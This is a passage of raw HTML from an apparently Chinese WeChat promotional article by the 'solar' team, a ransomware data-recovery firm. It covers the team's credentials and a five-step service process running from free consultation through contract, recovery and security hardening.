normal;text-wrap-mode: wrap;text-align: center;"><span style="outline: 0px;font-size: 15px;">视频学习功能</span><span style="outline: 0px;font-size: 15px;"></span></p><p style="margin-bottom: 0px;padding-right: 10px;padding-left: 10px;color: rgb(0, 0, 0);font-size: 16px;word-spacing: 0em;text-wrap: wrap;outline: 0px;font-family: system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;background: none 0% 0% / auto no-repeat scroll padding-box border-box rgb(255, 255, 255);text-indent: 2em;width: auto;line-height: 1.5em;word-break: break-word;visibility: visible;text-align: center;"><span style="outline: 0px;font-size: 15px;"><br/></span></p><p style="margin-bottom: 0px;color: rgb(0, 0, 0);font-family: PingFangSC-regular, sans-serif;font-size: 16px;letter-spacing: normal;text-align: left;text-wrap-mode: wrap;"><img class="rich_pages wxw-img" data-height="812" data-imgfileid="100010299" data-ratio="0.5472222222222223" data-width="1483" data-type="jpeg" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=c821063c&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2FDxUXemrrntouqs2gYibf4tiaicpBvedsWAEEibjBiaGr9raRLX9lhWaXbx31Kiab045RianTArKGJicyibTQZHhjbeFriaIg%2F640%3Fwx_fmt%3Djpeg%26from%3Dappmsg"/></p><p style="margin-bottom: 0px;padding-right: 10px;padding-left: 10px;color: rgb(0, 0, 0);font-size: 16px;word-spacing: 0em;text-wrap: wrap;outline: 0px;font-family: system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;background: none 0% 0% / auto no-repeat scroll padding-box border-box rgb(255, 255, 255);text-indent: 2em;width: auto;line-height: 1.5em;word-break: break-word;visibility: visible;text-align: center;"><span style="outline: 0px;font-size: 15px;">题目练习功能</span></p><p style="margin-bottom: 0px;padding-right: 10px;padding-left: 10px;color: rgb(0, 0, 0);font-size: 16px;word-spacing: 0em;text-wrap: wrap;outline: 0px;font-family: system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;background: none 0% 0% / auto no-repeat scroll padding-box border-box rgb(255, 255, 255);text-indent: 2em;width: auto;line-height: 1.5em;word-break: break-word;visibility: visible;text-align: center;"><span style="outline: 0px;font-size: 15px;"><br/></span></p><p style="margin-bottom: 0px;color: rgb(0, 0, 0);font-family: PingFangSC-regular, sans-serif;font-size: 16px;letter-spacing: normal;text-align: left;text-wrap-mode: wrap;"><img class="rich_pages wxw-img" data-height="1746" data-imgfileid="100010300" data-ratio="0.5055555555555555" data-width="3456" data-type="jpeg" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=66361ce8&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2FDxUXemrrntouqs2gYibf4tiaicpBvedsWAEp8OV7lnMAI8FxraQFZ6ldoLSibMzX9icm0r3cq8GVZabCls0XsjhGKfg%2F640%3Fwx_fmt%3Djpeg%26from%3Dappmsg"/></p><p style="margin-bottom: 0px;padding-right: 10px;padding-left: 10px;color: rgb(0, 0, 0);font-size: 16px;word-spacing: 0em;text-wrap: wrap;outline: 0px;font-family: system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;background: none 0% 0% / auto no-repeat scroll padding-box border-box rgb(255, 255, 255);text-indent: 2em;width: auto;line-height: 1.5em;word-break: break-word;visibility: visible;text-align: center;"><span style="outline: 0px;font-size: 15px;">自主练习功能</span></p><h1 data-tool="mdnice编辑器" style="margin: 30px 30px 15px;padding-top: 12px;padding-bottom: 12px;color: rgb(0, 0, 0);text-wrap: wrap;outline: 0px;font-family: system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;background: none 0% 0% / auto no-repeat scroll padding-box border-box rgb(255, 255, 255);border-color: rgb(0, 0, 0);align-items: unset;border-style: solid;border-width: 1px;border-radius: 0px;box-shadow: none;flex-direction: unset;float: unset;height: auto;justify-content: unset;line-height: 1.1em;overflow: unset;text-align: center;text-shadow: none;transform: none;width: auto;-webkit-box-reflect: unset;"><span style="outline: 0px;font-size: 22px;line-height: 1.2em;letter-spacing: 0em;align-items: unset;background-attachment: scroll;background-clip: border-box;background-image: none;background-origin: padding-box;background-position: 0% 0%;background-repeat: no-repeat;background-size: auto;border-style: none;border-width: initial;border-color: initial;border-radius: 0px;box-shadow: none;display: inline-block;font-weight: bold;flex-direction: unset;float: unset;height: auto;justify-content: unset;overflow: unset;text-align: left;text-indent: 0em;text-shadow: none;transform: none;width: auto;-webkit-box-reflect: below 0em -webkit-gradient(linear, 0% 0%, 0% 100%, from(rgba(0, 0, 0, 0)), to(rgba(0, 0, 0, 0.1)));">7.<strong style="outline: 0px;align-items: unset;background-attachment: scroll;background-clip: border-box;background-image: none;background-origin: padding-box;background-position: 0% 0%;background-repeat: no-repeat;background-size: auto;border-style: none;border-width: 1px;border-color: rgb(0, 0, 0);border-radius: 0px;box-shadow: none;display: inline-block;flex-direction: unset;float: unset;height: auto;justify-content: unset;letter-spacing: 0px;line-height: 1.5em;overflow: unset;text-indent: 0em;text-shadow: none;transform: none;width: auto;-webkit-box-reflect: unset;">团队介绍</strong></span></h1><p style="margin-bottom: 0px;padding-right: 10px;padding-left: 10px;color: rgb(0, 0, 0);font-size: 16px;word-spacing: 0em;text-wrap: wrap;outline: 0px;font-family: system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;background: none 0% 0% / auto no-repeat scroll padding-box border-box rgb(255, 255, 255);width: auto;line-height: 1.5em;word-break: break-word;visibility: visible;text-indent: 2em;"><span style="outline: 0px;font-size: 15px;">solar团队数年深耕数据恢复领域，在数据恢复领域建立了良好的声誉，以高效、安全、可靠的解决方案赢得了客户的信任。无论是个人用户还是大型企业，都能提供量身定制的服务，确保每一个被勒索软件侵害的数据都能够恢复到最佳状态，同时在数据恢复后，提供全面的后门排查及安全加固服务，杜绝二次感染的风险。</span></p><p style="margin-bottom: 0px;padding-right: 10px;padding-left: 10px;color: rgb(0, 0, 0);font-size: 16px;word-spacing: 0em;text-wrap: wrap;outline: 0px;font-family: system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;background: none 0% 0% / auto no-repeat scroll padding-box border-box rgb(255, 255, 255);width: auto;line-height: 1.5em;word-break: break-word;visibility: visible;text-indent: 2em;"><span style="outline: 0px;font-size: 15px;">同时，solar团队坚持自主研发及创新，在攻防演练平台、网络安全竞赛平台、网络安全学习平台方面加大研发投入，目前已获得十几项专利及知识产权。</span></p><p style="margin-bottom: 0px;padding-right: 10px;padding-left: 10px;color: rgb(0, 0, 0);font-size: 16px;word-spacing: 0em;text-wrap: wrap;outline: 0px;font-family: system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;background: none 0% 0% / auto no-repeat scroll padding-box border-box rgb(255, 255, 255);width: auto;line-height: 1.5em;word-break: break-word;visibility: visible;text-indent: 2em;"><span style="outline: 0px;font-size: 15px;">团队也先后通过了科技型中小企业、创新型中小企业认证、ISO9001质量管理体系、ISO14000环境管理体系、ISO45001职业安全健康管理体系 、ITSS（信息技术服务运行维护标准四级）以及国家信息安全漏洞库(CNNVD)技术支撑单位等认证，已构建了网络安全行业合格的资质体系。</span></p><section data-tool="mdnice编辑器" data-website="https://www.mdnice.com" style="margin-bottom: 0px;padding-right: 10px;padding-left: 10px;outline: 0px;background-attachment: scroll;background-clip: border-box;background-image: none;background-origin: padding-box;background-position: 0% 0%;background-repeat: no-repeat;background-size: auto;width: auto;font-family: PingFangSC-regular, sans-serif;font-size: 16px;color: rgb(0, 0, 0);line-height: 1.5em;word-spacing: 0em;letter-spacing: 0em;word-break: break-word;text-align: left;visibility: visible;"><section data-tool="mdnice编辑器" data-website="https://www.mdnice.com" style="padding-right: 10px;padding-left: 10px;outline: 0px;background-attachment: scroll;background-clip: border-box;background-image: none;background-origin: padding-box;background-position: 0% 0%;background-repeat: no-repeat;background-size: auto;width: auto;line-height: 1.5em;word-spacing: 0em;letter-spacing: 0em;word-break: break-word;visibility: visible;"><section style="font-size: 16px;"><section style="display: inline-block;width: 100%;vertical-align: top;overflow-x: auto;" powered-by="xiumi.us"><section style="overflow: hidden;width: 600%;max-width: 600% !important;"><section style="display: inline-block;vertical-align: middle;width: 8.33333%;" powered-by="xiumi.us"><section style="text-align: right;margin-top: 10px;margin-bottom: 10px;line-height: 0;"><section style="vertical-align: middle;display: inline-block;line-height: 0;width: 94%;height: auto;box-shadow: rgb(0, 0, 0) 0px 0px 0px;"><img class="rich_pages wxw-img" data-backh="359" data-backw="253" data-cropselx1="0" data-cropselx2="253" data-cropsely1="11" data-cropsely2="348" data-imgfileid="100010301" data-ratio="1.420774647887324" data-s="300,640" style="vertical-align: middle;width: 253px;height: 359px;" data-type="png" data-w="568" src="https://wechat2rss.xlab.app/img-proxy/?k=65cabc8f&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FDxUXemrrntr5o8EgqkIeCnchuaG7zVwVMrMk1BickSTLXgJzV9HYaxMJsL5gFIfLT05ibKFZia4geJiaDMuRXZhjvA%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></section></section></section><section style="display: inline-block;vertical-align: middle;width: 8.33333%;" powered-by="xiumi.us"><section style="text-align: center;margin-top: 10px;margin-bottom: 10px;line-height: 0;"><section style="vertical-align: middle;display: inline-block;line-height: 0;"><img class="rich_pages wxw-img" data-backh="380" data-backw="269" data-cropselx1="0" data-cropselx2="269" data-cropsely1="0" data-cropsely2="380" data-imgfileid="100010302" data-ratio="1.4135593220338982" data-s="300,640" style="vertical-align: middle;width: 100%;height: auto;" data-type="jpeg" data-w="590" src="https://wechat2rss.xlab.app/img-proxy/?k=fe21467d&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FDxUXemrrntr5o8EgqkIeCnchuaG7zVwVxQFIiau2H5AhSrm6mbgSVYiahUYXhPSh4DNbpILyg2pEmooGtgvibibc6w%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></section></section></section><section style="display: inline-block;vertical-align: middle;width: 8.33333%;" powered-by="xiumi.us"><section style="text-align: center;margin-top: 10px;margin-bottom: 10px;line-height: 0;"><section style="vertical-align: middle;display: inline-block;line-height: 0;"><img class="rich_pages wxw-img" data-cropselx1="0" data-cropselx2="269" data-cropsely1="33" data-cropsely2="344" data-imgfileid="100010303" data-ratio="1.4043624161073827" data-s="300,640" style="vertical-align: middle;width: 260px;height: 365px;" data-type="png" data-w="596" src="https://wechat2rss.xlab.app/img-proxy/?k=d6082a7f&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FDxUXemrrntr5o8EgqkIeCnchuaG7zVwVSQtDV2CnVpZ6ZuJiaia4TWZdR10X5PUIy2ktLiaVa2Q8PicHjNsICsGzug%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></section></section></section><section style="display: inline-block;vertical-align: middle;width: 8.33333%;" powered-by="xiumi.us"><section style="text-align: center;margin-top: 10px;margin-bottom: 10px;line-height: 0;"><section style="vertical-align: middle;display: inline-block;line-height: 0;"><img class="rich_pages wxw-img" data-backh="364" data-backw="258" data-cropselx1="0" data-cropselx2="269" data-cropsely1="0" data-cropsely2="380" data-imgfileid="100010308" data-ratio="1.4101694915254237" data-s="300,640" style="vertical-align: middle;width: 257px;height: 362px;" data-type="jpeg" data-w="590" src="https://wechat2rss.xlab.app/img-proxy/?k=adbc7edf&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FDxUXemrrntr5o8EgqkIeCnchuaG7zVwVYau4faF3yQlS9ibkIpeAxpMicg0iaaRMRibXtce08lhWnSyniaLFEndEebA%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></section></section></section><section style="display: inline-block;vertical-align: middle;width: 16.6667%;" powered-by="xiumi.us"><section style="text-align: right;margin-top: 10px;margin-bottom: 10px;line-height: 0;"><section style="vertical-align: middle;display: inline-block;line-height: 0;width: 94%;height: auto;"><img class="rich_pages wxw-img" data-cropselx1="0" data-cropselx2="506" data-cropsely1="10" data-cropsely2="347" data-imgfileid="100010307" data-ratio="0.7071428571428572" data-s="300,640" style="vertical-align: middle;width: 506px;height: auto;" data-type="jpeg" data-w="840" src="https://wechat2rss.xlab.app/img-proxy/?k=698c3706&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FDxUXemrrntr5o8EgqkIeCnchuaG7zVwVMx4oIzHDy5CaluO2soy5lQa8UUs2GYHXLDQFKYfNAvKzf3G5YP6ZXA%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></section></section></section><section style="display: inline-block;vertical-align: middle;width: 16.6667%;" powered-by="xiumi.us"><section style="text-align: center;margin-top: 10px;margin-bottom: 10px;line-height: 0;"><section style="vertical-align: middle;display: inline-block;line-height: 0;"><img class="rich_pages wxw-img" data-cropselx1="0" data-cropselx2="538" data-cropsely1="0" data-cropsely2="385" data-imgfileid="100010305" data-ratio="0.6998827667057445" data-s="300,640" style="vertical-align: middle;width: 503px;height: 352px;" data-type="jpeg" data-w="853" src="https://wechat2rss.xlab.app/img-proxy/?k=afa8a8ea&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FDxUXemrrntr5o8EgqkIeCnchuaG7zVwVBjTrJQZh6WhQP44z7NxUjMuiaqy1dIzNrHQ8xT3jY423gT5V5Io0ZAg%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></section></section></section><section style="display: inline-block;vertical-align: middle;width: 16.6667%;" powered-by="xiumi.us"><section style="text-align: center;margin-top: 10px;margin-bottom: 10px;line-height: 0;"><section style="vertical-align: middle;display: inline-block;line-height: 0;"><img class="rich_pages wxw-img" data-cropselx1="73" data-cropselx2="403" data-cropsely1="0" data-cropsely2="337" data-imgfileid="100010304" data-ratio="0.7060367454068242" data-s="300,640" style="vertical-align: middle;width: 510px;height: 360px;" data-type="jpeg" data-w="762" src="https://wechat2rss.xlab.app/img-proxy/?k=9bd96172&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FDxUXemrrntr5o8EgqkIeCnchuaG7zVwVX6v4kj5ibxpIsqxqHHHWIqM1icpFQoHqQmNfIs45pZKlMa9Ih0tRFTPQ%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></section></section></section><section style="display: inline-block;vertical-align: middle;width: 16.6667%;" powered-by="xiumi.us"><section style="text-align: center;margin-top: 10px;margin-bottom: 10px;line-height: 0;"><section style="vertical-align: middle;display: inline-block;line-height: 0;"><img class="rich_pages wxw-img" data-cropselx1="0" data-cropselx2="538" data-cropsely1="0" data-cropsely2="404" data-imgfileid="100010306" data-ratio="0.7163781624500666" data-s="300,640" style="vertical-align: middle;width: 495px;height: 355px;" data-type="jpeg" data-w="751" src="https://wechat2rss.xlab.app/img-proxy/?k=f0b6a2b0&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FDxUXemrrntr5o8EgqkIeCnchuaG7zVwVhTEhggHh515Q9cGf3UsVBDEibbrncO7DoDRumh6HTIx3icMXqaq6a7wQ%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></section></section></section></section></section><section style="text-align: right;justify-content: flex-end;margin: 10px 0%;display: flex;flex-flow: row;" powered-by="xiumi.us"><section style="display: inline-block;vertical-align: middle;width: auto;min-width: 10%;flex: 0 0 auto;height: auto;align-self: center;"><section style="text-align: center;" powered-by="xiumi.us"><section style="padding-right: 12px;padding-left: 12px;text-align: justify;"><p style="text-wrap: wrap;">More</p></section></section></section><section style="display: inline-block;vertical-align: middle;width: auto;line-height: 0;min-width: 10%;flex: 0 0 auto;height: auto;background-color: rgb(255, 227, 78);align-self: center;"><section style="transform: rotateZ(45deg);" powered-by="xiumi.us"><section style="text-align: center;"><section style="display: inline-block;width: 13px;height: 13px;vertical-align: top;overflow: hidden;border-style: solid;border-width: 1px 1px 0px 0px;border-color: rgb(38, 38, 38) rgb(38, 38, 38) rgb(62, 62, 62) rgb(62, 62, 62);"><section style="transform: rotateZ(315deg);" powered-by="xiumi.us"><section style="margin: 6px 0% 8px;"><section style="background-color: rgb(38, 38, 38);height: 1px;"><br/><svg viewBox="0 0 1 1" style="float:left;line-height:0;width:0;vertical-align:top;"></svg></section></section></section></section></section></section></section></section></section><section style="outline: 0px;"><span style="outline: 0px;letter-spacing: 0em;text-indent: 2em;word-spacing: 0em;"></span></section><h1 data-tool="mdnice编辑器" style="margin: 30px 30px 15px;padding-top: 12px;padding-bottom: 12px;outline: 0px;font-family: system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;text-wrap: wrap;background: none 0% 0% / auto no-repeat scroll padding-box border-box rgb(255, 255, 255);border-color: rgb(0, 0, 0);align-items: unset;border-style: solid;border-width: 1px;border-radius: 0px;box-shadow: none;flex-direction: unset;float: unset;height: auto;justify-content: unset;line-height: 1.1em;overflow: unset;text-align: center;text-shadow: none;transform: none;width: auto;-webkit-box-reflect: unset;"><span style="outline: 0px;font-size: 22px;line-height: 1.2em;letter-spacing: 0em;align-items: unset;background-attachment: scroll;background-clip: border-box;background-image: none;background-origin: padding-box;background-position: 0% 0%;background-repeat: no-repeat;background-size: auto;border-style: none;border-width: initial;border-color: initial;border-radius: 0px;box-shadow: none;display: inline-block;font-weight: bold;flex-direction: unset;float: unset;height: auto;justify-content: unset;overflow: unset;text-align: left;text-indent: 0em;text-shadow: none;transform: none;width: auto;-webkit-box-reflect: below 0em -webkit-gradient(linear, 0% 0%, 0% 100%, from(rgba(0, 0, 0, 0)), to(rgba(0, 0, 0, 0.1)));">8.<strong style="outline: 0px;align-items: unset;background-attachment: scroll;background-clip: border-box;background-image: none;background-origin: padding-box;background-position: 0% 0%;background-repeat: no-repeat;background-size: auto;border-style: none;border-width: 1px;border-color: rgb(0, 0, 0);border-radius: 0px;box-shadow: none;display: inline-block;flex-direction: unset;float: unset;height: auto;justify-content: unset;letter-spacing: 0px;line-height: 1.5em;overflow: unset;text-indent: 0em;text-shadow: none;transform: none;width: auto;-webkit-box-reflect: unset;">数据恢复服务流程</strong></span></h1><section style="outline: 0px;font-family: system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;text-wrap: wrap;background-color: rgb(255, 255, 255);text-indent: 2em;"><span style="outline: 0px;font-size: 15px;"><strong style="outline: 0px;">多年的数据恢复处理经验，在不断对客户服务优化的过程中搭建了&#34;免费售前+安心保障+专业恢复+安全防御&#34;一体化的专业服务流程。</strong></span></section><p style="outline: 0px;font-family: system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;text-wrap: wrap;background-color: rgb(255, 255, 255);"><span style="outline: 0px;font-size: 15px;"><strong style="outline: 0px;">① 免费咨询/数据诊断分析</strong></span></p><p style="outline: 0px;font-family: system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;text-wrap: wrap;background-color: rgb(255, 255, 255);"><span style="outline: 0px;font-size: 15px;">       专业的售前技术顾问服务，免费在线咨询，可第一时间获取数据中毒后的正确处理措施，防范勒索病毒在内网进一步扩散或二次执行，避免错误操作导致数据无法恢复。</span></p><p style="outline: 0px;font-family: system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;text-wrap: wrap;background-color: rgb(255, 255, 255);"><span style="outline: 0px;font-size: 15px;">       售前技术顾问沟通了解客户的机器中毒相关信息，结合团队数据恢复案例库的相同案例进行分析评估，初步诊断分析中毒数据的加密/损坏情况。</span></p><p style="outline: 0px;font-family: system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;text-wrap: wrap;background-color: rgb(255, 255, 255);"><span style="outline: 0px;font-size: 15px;"><strong style="outline: 0px;">② 评估报价/数据恢复方案</strong></span></p><p style="outline: 0px;font-family: system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;text-wrap: wrap;background-color: rgb(255, 255, 255);"><span style="outline: 0px;font-size: 15px;">       您获取售前顾问的初步诊断评估信息后，若同意进行进一步深入的数据恢复诊断，我们将立即安排专业病毒分析工程师及数据恢复工程师进行病毒逆向分析及数据恢复检测分析。</span></p><p style="outline: 0px;font-family: system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;text-wrap: wrap;background-color: rgb(255, 255, 255);"><span style="outline: 0px;font-size: 15px;">       专业数据恢复工程师根据数据检测分析结果，定制数据恢复方案（恢复价格/恢复率/恢复工期），并为您解答数据恢复方案的相关疑问。</span></p><p style="outline: 0px;font-family: system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;text-wrap: wrap;background-color: rgb(255, 255, 255);"><span style="outline: 0px;font-size: 15px;"><strong style="outline: 0px;">③ 确认下单/签订合同</strong></span></p><p style="outline: 0px;font-family: system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;text-wrap: wrap;background-color: rgb(255, 255, 255);"><span style="outline: 0px;font-size: 15px;">       您清楚了解数据恢复方案后，您可自主选择以下下单方式：</span></p><p style="outline: 0px;font-family: system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;text-wrap: wrap;background-color: rgb(255, 255, 255);"><span style="outline: 0px;font-size: 15px;">双方签署对公合同：根据中毒数据分析情况，量身定制输出数据恢复合同，合同内明确客户的数据恢复内容、数据恢复率、恢复工期及双方权责条款，双方合同签订，正式进入数据恢复专业施工阶段，数据恢复后进行验证确认，数据验证无误，交易完成。</span></p><p style="outline: 0px;font-family: system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;text-wrap: wrap;background-color: rgb(255, 255, 255);"><span style="outline: 0px;font-size: 15px;"><strong style="outline: 0px;">④ 开始数据恢复专业施工</strong></span></p><p style="outline: 0px;font-family: system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;text-wrap: wrap;background-color: rgb(255, 255, 255);"><span style="outline: 0px;font-size: 15px;">      安排专业数据恢复工程师团队全程服务，告知客户数据恢复过程注意事项及相关方案措施，并可根据客户需求及数据情况，可选择上门恢复/远程恢复。</span></p><p style="outline: 0px;font-family: system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;text-wrap: wrap;background-color: rgb(255, 255, 255);"><span style="outline: 0px;font-size: 15px;">      数据恢复过程中，团队随时向您报告数据恢复每一个节点工作进展（数据扫描 → 数据检测 → 数据确认 → 恢复工具定制 → 执行数据恢复 → 数据完整性确认）。</span></p><p style="outline: 0px;font-family: system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;text-wrap: wrap;background-color: rgb(255, 255, 255);"><span style="outline: 0px;font-size: 15px;"><strong style="outline: 0px;">⑤ 数据验收/安全防御方案</strong></span></p><p style="outline: 0px;font-family: system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;text-wrap: wrap;background-color: rgb(255, 255, 255);"><span style="outline: 0px;font-size: 15px;">      完成数据恢复后，我司将安排数据分析工程师进行二次检查确认数据恢复完整性，充分保障客户的数据恢复权益，二次检测确认后，通知客户进行数据验证。</span></p><p style="outline: 0px;font-family: system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;text-wrap: wrap;background-color: rgb(255, 255, 255);"><span style="outline: 0px;font-size: 15px;">      客户对数据进行数据验证完成后，我司将指导后续相关注意事项及安全防范措施，并可提供专业的企业安全防范建设方案及安全顾问服务，抵御勒索病毒再次入侵。</span></p><section style="outline: 0px;font-family: system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;text-wrap: wrap;background-color: rgb(255, 255, 255);"><section powered-by="xiumi.us" style="margin-top: 20px;margin-bottom: 10px;outline: 0px;justify-content: flex-start;display: flex;flex-flow: row;"><section style="outline: 0px;display: inline-block;vertical-align: middle;width: auto;align-self: center;flex: 100 100 0%;height: auto;"><section powered-by="xiumi.us" style="margin-bottom: 8px;outline: 0px;"><section style="outline: 0px;background-color: rgb(5, 8, 35);height: 1px;"><svg viewBox="0 0 1 1" style="float:left;line-height:0;width:0;vertical-align:top;"></svg></section></section></section><section style="padding-right: 2px;padding-left: 2px;outline: 0px;display: inline-block;vertical-align: middle;width: auto;align-self: center;flex: 0 0 0%;height: auto;"><section powered-by="xiumi.us" style="outline: 0px;text-align: center;"><section style="outline: 0px;display: inline-block;vertical-align: top;transform: matrix(1, 0, -0.2, 1, 0, 0);background-color: rgb(5, 8, 35);box-shadow: rgba(255, 255, 255, 0) 0px 0px 0px;line-height: 1;letter-spacing: 0px;width: 5px;height: auto;"><section powered-by="xiumi.us" style="outline: 0px;text-align: justify;"><p style="outline: 0px;"><br style="outline: 